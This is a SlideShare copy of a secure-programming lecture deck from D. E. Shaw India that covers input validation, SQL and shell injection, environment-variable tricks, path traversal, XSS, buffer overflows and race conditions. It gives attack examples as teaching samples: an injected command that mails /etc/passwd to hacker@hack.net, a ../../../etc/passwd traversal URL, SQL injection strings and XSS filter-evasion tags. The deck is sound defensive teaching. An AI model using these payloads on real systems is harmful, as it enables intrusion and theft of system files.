SlideShare ist ein Scribd-Unternehmen logo
1 von 35
D. E. Shaw India Software Private Limited




 Secure Programming


                                  Sandeep Giri




Index
D. E. Shaw India Software Private Limited




   What Is Security?
     Confidentiality (also known as secrecy), meaning that
      the computing system's assets can be read only by
      authorized parties.
     Integrity, meaning that the assets can only be
      modified or deleted by authorized parties in
      authorized ways.
     Availability, meaning that the assets are accessible to
      the authorized parties in a timely manner (as
      determined by the systems requirements). The failure
      to meet this goal is called a denial of service.


Index
D. E. Shaw India Software Private Limited




                  Why Secure Programming?




Note: suid (set user ID) is a program which while running behaves as the owner of
the particular file not as the one who runs it.
setgid: set group ID
 Index
D. E. Shaw India Software Private Limited




    What needs to be secured?
 Viewers of remote data
    – For e.g. Browser,Applets,Email clients,Word processors
 Application programs used by the administrator
 Servers
   – Local (daemons like syslog)
   – Network-accessible servers (network daemons
     ftpd,telnetd,apache,sendmail).
   – Web-based applications(Sp. Case of above)
 Setuid/setgid programs (like passwd).


Index
D. E. Shaw India Software Private Limited




                           HOW???




Index
D. E. Shaw India Software Private Limited




                                   The Key is:



        “Paranoia is a Virtue”
                                         Solutions follow….




Index
D. E. Shaw India Software Private Limited




    Index
     Validation of Inputs
         – Examples
         – Different types of inputs
     Buffer Overflows
     Structure Program Internals
     Sending Information Back Judiciously
     Language-Specific Issues
         – C/C++
         – Perl
         – Shell Scripting Languages

Index
D. E. Shaw India Software Private Limited



                                Validate All Input
                  Properly Check the input for valid data
 Example:
 SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e =
  ‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”;
 Input:
 “a d m in’” will c o nv e rt the q ue ry into
 “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ”
 (N te ‘’ a fte r a d m in)
   o

 “a d m in’--” will c o nv e rt the q ue ry into
 “s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ”
 (N te e ve ry thing a fte r ‘--’ is c o m m e nte d )
   o


Index
D. E. Shaw India Software Private Limited




Validate All Input->


   Another Example:
   Code:
   system("mail " . $form_data{"email"});


Exploit/Loophole:
Input:
http://server/script.cgi?email=
me@mydomain.com;mail hacker@hack.net</etc/passwd"


This will mail him a copy of /etc/passwd.
Index
D. E. Shaw India Software Private Limited



Validate All Input->
    Solutions/Suggestions:
     Determine what is legal and reject anything that does not match
        that definition but not the reverse.
        Following pattern for input may be enough:
          [A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or

          (.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or


          (,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$

     When accepting cookie values, check if the domain
      value for any cookie you're using is the expected one.
     While parsing input, temporarily drop all privileges,
      or even create separate processes

Index
D. E. Shaw India Software Private Limited



Validate All Input->

     Different Types Of User Input
      Environment variables
          Input may be in the form of environment variables (e.g.
            PATH,IFS etc.) inherited from parent process
          Example Code:
          Sy s te m (“d a te ”);
    Exploit:
    Se t PA to the c urre nt d ire c to ry a nd m a ke a
              TH
    tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd
                                       o
    will be e x e c ute d with p a re nts p rivile g e s .

Index
D. E. Shaw India Software Private Limited



Validate All Input->types->environment variables->
     Yet Another Example
     I - (Internal field separator, used to separate
      FS
     the command line arguments.)
    Code:
    Sy s te m (“/us r/bin/d a te ”);

Exploit/loophole:
se t IFS= ‘/’;
Now create a Trojaned program with name usr and set
PATH to current directory.Your ‘usr’ will be executed instead
of date because this command will be interpreted as
$ us r bin d a te
Index
D. E. Shaw India Software Private Limited



Validate All Input->types->environment variables->



    Solution:
     Reset all the variables.
     For example,
           set IFS = ‘nt’
     Always extract and erase environment variables
     and set these according to your needs.




Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->

     File Names
         Common mistakes:
         ftp> ls
           */../*/../*/../*/../*/../*/../*/../*/../*/../
           */../*/../*/../*

         http://www.yourserver.com/cgi-bin/script?
           config-file=../../../etc/passwd&user=guest
        you shouldn't support ``wild-cards'', that is,
           expanding filenames using ``*'', ``?'', ``[''
           (matching ``]''), and possibly ``{'' (matching ``}'').
     File Contents
      If a program takes directions from a file, it must not
Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->
     Writing data to the file


    When it is must to write the data from cgi script
    (for example picture uploading script),
    the file should not be in a executable/accessible
      directory.




Index
D. E. Shaw India Software Private Limited



  Validate All Input->types->

     Web-Based Inputs (Especially CGI Scripts)
         – Cross site scripting
          Displaying the formatted text received from
          another user may trick JavaScript(or Other
          compts) and may result in befooling the current
          user or crashing the browser.
          Such vulnerabilities existed in most of the online
          systems like: Yahoo,google, hotmail,indiatimes..
         Quick Fix:
         delete_every <script>….</script>
         But it has got some problems…


Index
D. E. Shaw India Software Private Limited



   Validate All Input->types->Web based IO->

    What If input includes tags like this:
         – <sc<script></script>ript>evil-code()</sc<script></script>ript>

         – <b onmousover="...">go here</b>
         – <img [line_break] src="javascript:alert(document.location)">

         – <a href="javas&#99;ript&#35;[code]">

         – <div onmouseover="[code]">

         – <img src="javascript:[code]">
         – <img dynsrc="javascript:[code]"> [IE]

         – <input type="image" dynsrc="javascript:[code]"> [IE]

         – <bgsound src="javascript:[code]"> [IE]

         List goes on …
Index
D. E. Shaw India Software Private Limited



   Validate All Input->types->Web based IO->

        Solutions:
          – Only allow a few tags,if it is must.like:

             <p> ,<b> , <i>, <em>, <strong>, <pre> , <br>

          – while displaying html as such convert

                ‘<‘ to &lt; , > to &gt;, & to &amp;

          – One may use his own type of tags

                Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB)

          – Accept only legal characters:

             $summary =~ tr/A-Za-z0-9 .://dc;

          – Remove Special characters

             $s =~ s/[<>"'%;()&+]//g;

          Can use PHP code to filter HTML posted by Konstantin Riabitsev:

Index        http://www.mricon.com/html/phpfilter.html
D. E. Shaw India Software Private Limited




          Buffer Overflow – A Big Deal
A buffer overflow occurs when you write a set of values into a fixed length buffer
and write at least one value outside that buffer's boundaries (usually past its
end). A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.

The Problem:                                          Sample Execution
                                                      $ p ro g a bc
int main(int argc,char **argv) {                      abc
    char buffer[100];                                 $ p ro g < v e ry lo ng s tring >
    if(argc>1)                                        core dumped (segmentation
                                                      fault)
          strcpy(buffer,argv[1]);
                                                      $ p ro g “% s a nd e e p ”
    printf(buffer)
                                                         <garbage>andeep
}
                                                      (format string problem)

    Index
D. E. Shaw India Software Private Limited



 Buffer Overflow->

    Exploit-Technique ( an overview )
    EIP – Before a function is called, the address of
     returning location is stored in EIP




Index
D. E. Shaw India Software Private Limited                 Buffer Overflow-> Suggestions:

   Instead Of       Use


   Gets             Fgets


   Strcpy           strncpy*,with NULLtermination


                    Strlcpy : a bit inefficient, fills with zeros


   Strcat           strncat*,with NULL termination

                    Strlcat : a bit inefficient


   Printf           With proper formatting e.g.: printf(“%s”,str); not printf(str);


   Sprintf          with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str);


   Scanf            with length maximizing formatting eg: scanf(“%5s”,str),


   sscanf           with length maximizing formatting




Index
D. E. Shaw India Software Private Limited



 Buffer Overflow->

    Overflows can be avoided by using:
     Code Checking Utilities:
         – flawfinder,RATS,ITS4, Slint

         – Using Memory leak checking utilities like Memleak for VC++ available
            at http://www.codeproject.com/useritems/leakfinder.asp
     Libraries like
         – Libmib, C++ Std :: string, libsafe,glibc
     Compilers like :Stack Guard,Stack Shield
            which check if return address is changed.
      OS like : Immunix OS ,Bastile Linux
       Linux Variants,with low level security against bof
Index Other languages like Java,Perl,PHP
     
D. E. Shaw India Software Private Limited


        Structure Program Internals
     Software Engineering Principles
         – Economy of mechanism/Simplicity.
               KISS - keep it simple, stupid
         – Open design.
               Do not depend on attacker’s ignorance.
         – Complete mediation.
               Every access attempt must be checked
         – Fail-safe defaults
               The default should be denial of service
         – Separation of privilege.
               Defeating one protection system shouldn't enable
                complete access.
Index
D. E. Shaw India Software Private Limited


   Structure Program Internals-> Software Engineering Principles->




         – Least common mechanism.
               Minimize use of shared mechanisms (e.g. use of the /tmp
                or /var/tmp directories).
         – Psychological acceptability / Easy to use
                Users will routinely and automatically use the
                 protection mechanisms correctly.
                Mistakes will be reduced if the security
                 mechanisms closely match the user's mental
                 image of his or her protection


Index
D. E. Shaw India Software Private Limited


 Structure Program Internals->

    Secure the Interface
    Separate Data and Control
    Minimize Privileges
        Prevents problems due to accident, error, or attack.
        Minimize:
          – Granted privileges
          – The Time the Privilege Can Be Used & is active
          – The Modules Granted the Privilege
          – the Accessible Data
          – the Resources Available


Index
D. E. Shaw India Software Private Limited


 Structure Program Internals->




     Minimize the Functionality of a Component
     Avoid Creating Setuid/Setgid Scripts
     Configure Safely and Use Safe Defaults
     Load Initialization Values Safely
     Fail Safe
     Avoid Race Conditions/ Sharing violation
        Anomalous behavior due to unexpected critical dependence on
        the relative timing of events




Index
D. E. Shaw India Software Private Limited


Structure Program Internals-> Sharing violation(due to racing)->

     A crude example:

        Password Conflict.
     Another Example:

        check(file);//checks if file has proper permissions
        wait(sometime);
        write(file,data); //writes data to file
        What if file got changed in between checking and modifying data?
        This generally happens with temporary file creation.
     Solution:

          – Use locks on files

          – Use open() function of C

          – Create random name file/open using O_CREATE|O_EXCL

Index     – Use tmpfile()
D. E. Shaw India Software Private Limited




    Send Information Back Judiciously
     Minimize Feedback
     Don't Include Comments
     Control Formatting (``Cross Site Scripting'')
     Prevent Include/Configuration File Access
         <Files *.inc>
         Order allow,deny
         Deny from all
         </Files>



Index
D. E. Shaw India Software Private Limited


    Language-Specific Issues
    C/C++
     Biggest security problem with C and C++ programs is buffer overflow;

     C has the additional weakness of not supporting exceptions,

     Manual memory management(malloc,alloc,free,new delete)

     Be as strict as you reasonably can in declaring types.

        use ``enum'' to define enumerated values (and not just a ``char'' or ``int''
        with special values).

     Turn On Warnings to check overflows

          gcc -Wall -Wpointer-arith -Wstrict-prototypes
             -O2

          You might want ``-W -pedantic'' too.

Index
D. E. Shaw India Software Private Limited


 Language-Specific Issues->C/C++ ->


    Detect format string bugs by including following

        header file

         /* in header.h */
         #ifndef __GNUC__

         # define __attribute__(x) /*nothing*/

         #endif
         extern void logprintf(const char *format, ...)

         __attribute__((format(printf,1,2)));

         extern void logprintva(const char *format,
           va_list args)
         __attribute__((format(printf,1,0)));

Index
D. E. Shaw India Software Private Limited


    Language-Specific Issues->       Perl
      read man page perlsec(1) first to learn taint mode (-T)

      open, glob, and back tick functions call the shell to expand
        filename
      perl open() function comes with, frankly, ``way too much magic'‘

          Example:
             //open a file s which is specified by user.
             O p e n(HA DLE, s );
                       N
             Loophole/exploit: s=“|s o m e c o m m a nd ”
          Solution: use sysopen() instead.
      turn on the warning flag (-w)

      It is recommended to use sudo instead of setuid version of Perl,
        which is default in some cases.
Index In regex, switch /e – expression evaluation- is dangerous
D. E. Shaw India Software Private Limited


 Language-Specific Issues->

    Shell Scripting Languages
     Never use as setuid/setgid
     On some systems,Fundamentally insecure
        because prone to race condition




Index
D. E. Shaw India Software Private Limited




                             I would again say:
                                   “The Key - ”

         Paranoia is a Virtue




Index
D. E. Shaw India Software Private Limited




                                Questions?




Index
D. E. Shaw India Software Private Limited




                                            Thanks



Index

Weitere ähnliche Inhalte

Was ist angesagt?

You Can Do It! Start Using Perl to Handle Your Voyager Needs
You Can Do It! Start Using Perl to Handle Your Voyager NeedsYou Can Do It! Start Using Perl to Handle Your Voyager Needs
You Can Do It! Start Using Perl to Handle Your Voyager NeedsRoy Zimmer
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Elizabeth Smith
 
Introduction to Perl - Day 1
Introduction to Perl - Day 1Introduction to Perl - Day 1
Introduction to Perl - Day 1Dave Cross
 
Abhishek lingineni
Abhishek lingineniAbhishek lingineni
Abhishek lingineniabhishekl404
 
Hack in the Box Keynote 2006
Hack in the Box Keynote 2006Hack in the Box Keynote 2006
Hack in the Box Keynote 2006Mark Curphey
 
Advanced Perl Techniques
Advanced Perl TechniquesAdvanced Perl Techniques
Advanced Perl TechniquesDave Cross
 
Zend Certification Preparation Tutorial
Zend Certification Preparation TutorialZend Certification Preparation Tutorial
Zend Certification Preparation TutorialLorna Mitchell
 
Introduction To Groovy 2005
Introduction To Groovy 2005Introduction To Groovy 2005
Introduction To Groovy 2005Tugdual Grall
 
Creating Domain Specific Languages in Python
Creating Domain Specific Languages in PythonCreating Domain Specific Languages in Python
Creating Domain Specific Languages in PythonSiddhi
 
Writing and using php streams and sockets tek11
Writing and using php streams and sockets   tek11Writing and using php streams and sockets   tek11
Writing and using php streams and sockets tek11Elizabeth Smith
 
PHP 7 – What changed internally? (PHP Barcelona 2015)
PHP 7 – What changed internally? (PHP Barcelona 2015)PHP 7 – What changed internally? (PHP Barcelona 2015)
PHP 7 – What changed internally? (PHP Barcelona 2015)Nikita Popov
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?Nikita Popov
 
Plunging Into Perl While Avoiding the Deep End (mostly)
Plunging Into Perl While Avoiding the Deep End (mostly)Plunging Into Perl While Avoiding the Deep End (mostly)
Plunging Into Perl While Avoiding the Deep End (mostly)Roy Zimmer
 
MidwestPHP Symfony2 Internals
MidwestPHP Symfony2 InternalsMidwestPHP Symfony2 Internals
MidwestPHP Symfony2 InternalsRaul Fraile
 

Was ist angesagt? (20)

You Can Do It! Start Using Perl to Handle Your Voyager Needs
You Can Do It! Start Using Perl to Handle Your Voyager NeedsYou Can Do It! Start Using Perl to Handle Your Voyager Needs
You Can Do It! Start Using Perl to Handle Your Voyager Needs
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!
 
Introduction to Perl - Day 1
Introduction to Perl - Day 1Introduction to Perl - Day 1
Introduction to Perl - Day 1
 
Unix lab
Unix labUnix lab
Unix lab
 
Intro to Perl and Bioperl
Intro to Perl and BioperlIntro to Perl and Bioperl
Intro to Perl and Bioperl
 
Abhishek lingineni
Abhishek lingineniAbhishek lingineni
Abhishek lingineni
 
Hack in the Box Keynote 2006
Hack in the Box Keynote 2006Hack in the Box Keynote 2006
Hack in the Box Keynote 2006
 
Advanced Perl Techniques
Advanced Perl TechniquesAdvanced Perl Techniques
Advanced Perl Techniques
 
Zend Certification Preparation Tutorial
Zend Certification Preparation TutorialZend Certification Preparation Tutorial
Zend Certification Preparation Tutorial
 
Introduction To Groovy 2005
Introduction To Groovy 2005Introduction To Groovy 2005
Introduction To Groovy 2005
 
Introduction to Perl
Introduction to PerlIntroduction to Perl
Introduction to Perl
 
Creating Domain Specific Languages in Python
Creating Domain Specific Languages in PythonCreating Domain Specific Languages in Python
Creating Domain Specific Languages in Python
 
PHPSpec BDD for PHP
PHPSpec BDD for PHPPHPSpec BDD for PHP
PHPSpec BDD for PHP
 
Writing and using php streams and sockets tek11
Writing and using php streams and sockets   tek11Writing and using php streams and sockets   tek11
Writing and using php streams and sockets tek11
 
PHP 7 – What changed internally? (PHP Barcelona 2015)
PHP 7 – What changed internally? (PHP Barcelona 2015)PHP 7 – What changed internally? (PHP Barcelona 2015)
PHP 7 – What changed internally? (PHP Barcelona 2015)
 
Perl Programming - 02 Regular Expression
Perl Programming - 02 Regular ExpressionPerl Programming - 02 Regular Expression
Perl Programming - 02 Regular Expression
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?
 
Plunging Into Perl While Avoiding the Deep End (mostly)
Plunging Into Perl While Avoiding the Deep End (mostly)Plunging Into Perl While Avoiding the Deep End (mostly)
Plunging Into Perl While Avoiding the Deep End (mostly)
 
Ant
Ant Ant
Ant
 
MidwestPHP Symfony2 Internals
MidwestPHP Symfony2 InternalsMidwestPHP Symfony2 Internals
MidwestPHP Symfony2 Internals
 

Ähnlich wie Secure Programming

Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsAleksandr Yampolskiy
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?Ben Hall
 
Introduction to PowerShell
Introduction to PowerShellIntroduction to PowerShell
Introduction to PowerShellBoulos Dib
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSlawomir Jasek
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSecuRing
 
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)James Titcumb
 
Groovy Introduction - JAX Germany - 2008
Groovy Introduction - JAX Germany - 2008Groovy Introduction - JAX Germany - 2008
Groovy Introduction - JAX Germany - 2008Guillaume Laforge
 
Hack Like It's 2013 (The Workshop)
Hack Like It's 2013 (The Workshop)Hack Like It's 2013 (The Workshop)
Hack Like It's 2013 (The Workshop)Itzik Kotler
 
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)James Titcumb
 
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...Provectus
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy CodeRowan Merewood
 
270_1_CIntro_Up_To_Functions.ppt
270_1_CIntro_Up_To_Functions.ppt270_1_CIntro_Up_To_Functions.ppt
270_1_CIntro_Up_To_Functions.pptJoshCasas1
 
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)James Titcumb
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebMikel Torres Ugarte
 
FP - Découverte de Play Framework Scala
FP - Découverte de Play Framework ScalaFP - Découverte de Play Framework Scala
FP - Découverte de Play Framework ScalaKévin Margueritte
 

Ähnlich wie Secure Programming (20)

Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programs
 
Sa
SaSa
Sa
 
CGI.ppt
CGI.pptCGI.ppt
CGI.ppt
 
How Secure Are Docker Containers?
How Secure Are Docker Containers?How Secure Are Docker Containers?
How Secure Are Docker Containers?
 
Introduction to PowerShell
Introduction to PowerShellIntroduction to PowerShell
Introduction to PowerShell
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
 
Groovy Introduction - JAX Germany - 2008
Groovy Introduction - JAX Germany - 2008Groovy Introduction - JAX Germany - 2008
Groovy Introduction - JAX Germany - 2008
 
Hack Like It's 2013 (The Workshop)
Hack Like It's 2013 (The Workshop)Hack Like It's 2013 (The Workshop)
Hack Like It's 2013 (The Workshop)
 
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
Kicking off with Zend Expressive and Doctrine ORM (ConFoo YVR 2017)
 
Mist - Serverless proxy to Apache Spark
Mist - Serverless proxy to Apache SparkMist - Serverless proxy to Apache Spark
Mist - Serverless proxy to Apache Spark
 
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
Data Summer Conf 2018, “Mist – Serverless proxy for Apache Spark (RUS)” — Vad...
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Having Fun with Play
Having Fun with PlayHaving Fun with Play
Having Fun with Play
 
270_1_CIntro_Up_To_Functions.ppt
270_1_CIntro_Up_To_Functions.ppt270_1_CIntro_Up_To_Functions.ppt
270_1_CIntro_Up_To_Functions.ppt
 
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo Web
 
Training on php by cyber security infotech (csi)
Training on  php by cyber security infotech (csi)Training on  php by cyber security infotech (csi)
Training on php by cyber security infotech (csi)
 
FP - Découverte de Play Framework Scala
FP - Découverte de Play Framework ScalaFP - Découverte de Play Framework Scala
FP - Découverte de Play Framework Scala
 

Kürzlich hochgeladen

React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsSafe Software
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationBradBedford3
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Matt Ray
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentationvaddepallysandeep122
 
Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf31events.com
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringHironori Washizaki
 
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Angel Borroy López
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Developmentvyaparkranti
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
cpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptcpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptrcbcrtm
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesŁukasz Chruściel
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineeringssuserb3a23b
 
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfGOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfAlina Yurenko
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...OnePlan Solutions
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprisepreethippts
 

Kürzlich hochgeladen (20)

React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
Powering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data StreamsPowering Real-Time Decisions with Continuous Data Streams
Powering Real-Time Decisions with Continuous Data Streams
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion Application
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
 
PREDICTING RIVER WATER QUALITY ppt presentation
PREDICTING  RIVER  WATER QUALITY  ppt presentationPREDICTING  RIVER  WATER QUALITY  ppt presentation
PREDICTING RIVER WATER QUALITY ppt presentation
 
Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf
 
Advantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your BusinessAdvantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your Business
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their Engineering
 
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Development
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
cpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptcpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.ppt
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New Features
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineering
 
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfGOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
Maximizing Efficiency and Profitability with OnePlan’s Professional Service A...
